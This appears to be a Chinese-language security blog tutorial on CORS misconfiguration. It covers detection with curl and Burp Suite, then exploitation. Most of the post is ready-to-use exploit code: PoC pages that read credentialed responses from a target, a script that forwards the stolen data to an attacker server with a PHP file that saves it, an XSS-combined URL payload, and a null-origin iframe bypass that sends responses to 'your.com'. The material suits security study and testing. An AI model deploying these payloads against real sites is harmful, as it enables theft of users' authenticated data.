CORS全稱Cross-Origin Resource Sharing, 跨域資源共享，是HTML5的一個新特性，已被所有瀏覽器支持，不同於古老的jsonp只能get請求。
檢測方式：
1.curl訪問網站
curl https://www.junsec.com -H "Origin: https://test.com" -I
檢查返回包的 Access-Control-Allow-Origin 字段是否為https://test.com
2.burpsuite發送請求包，查看返回包
tips：Access-Control-Allow-Origin的值，當其為null、意味着信任任何域。
漏洞利用：
1.同於csrf跨站請求偽造，發送釣魚鏈接，讀取用戶敏感數據。
poc：
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://target.com/info/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
用戶點擊button彈出響應信息
document.getElementById("demo").innerHTML = alert(this.responseText);
上面代碼只是彈出響應信息，你還可以獲取cookie，針對http-only js代碼無法讀取的情況：
<!DOCTYPE> <html> <h1>cors exploit</h1> <script type="text/javascript"> function exploit() { var xhr1; var xhr2; if(window.XMLHttpRequest) { xhr1 = new XMLHttpRequest(); xhr2 = new XMLHttpRequest(); } else { xhr1 = new ActiveXObject("Microsoft.XMLHTTP"); xhr2= new ActiveXObject("Microsoft.XMLHTTP"); } xhr1.onreadystatechange=function() { if(xhr1.readyState == 4 && xhr1.status == 200) { var datas=xhr1.responseText; xhr2.open("POST","http://192.168.1.2/test.php","true"); xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xhr2.send("z0="+escape(datas)); } } xhr1.open("GET","http:/192.168.1.1/index.php","true") xhr1.withCredentials = true; xhr1.send(); } exploit(); </script> </html>
搭建的攻擊服務器惡意代碼 tes.php：
<?php
$file = fopen("secrect.html", "w+");
$res = $_POST['z0'];
fwrite($file, $res);
fclose($res);
?>
2.結合xss漏洞利用cors漏洞，針對http_only js代碼無法讀取
poc:
function exploit() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://192.168.1.1/index.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
exploit();
利用：
http://192.168.1.1/index.php?<script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
同理結合上面代碼，發送到你的服務器
批量檢測：
https://github.com/chenjj/CORScanner
下載作者源碼，發現檢測方式同上，有興趣的小伙伴可以繼續分析，我先滾去睡覺了。。。
---------------------------------------------------------------------------------------------------------------------------------
2019-12-5 更新
基於白名單防護的繞過
Origin: null
同上，判斷是否支持null
如果支持可以使用iframe跨域請求，繞過
poc：
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vuln.com',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='your.com/l?get='+this.responseText;
};
</script>'></iframe>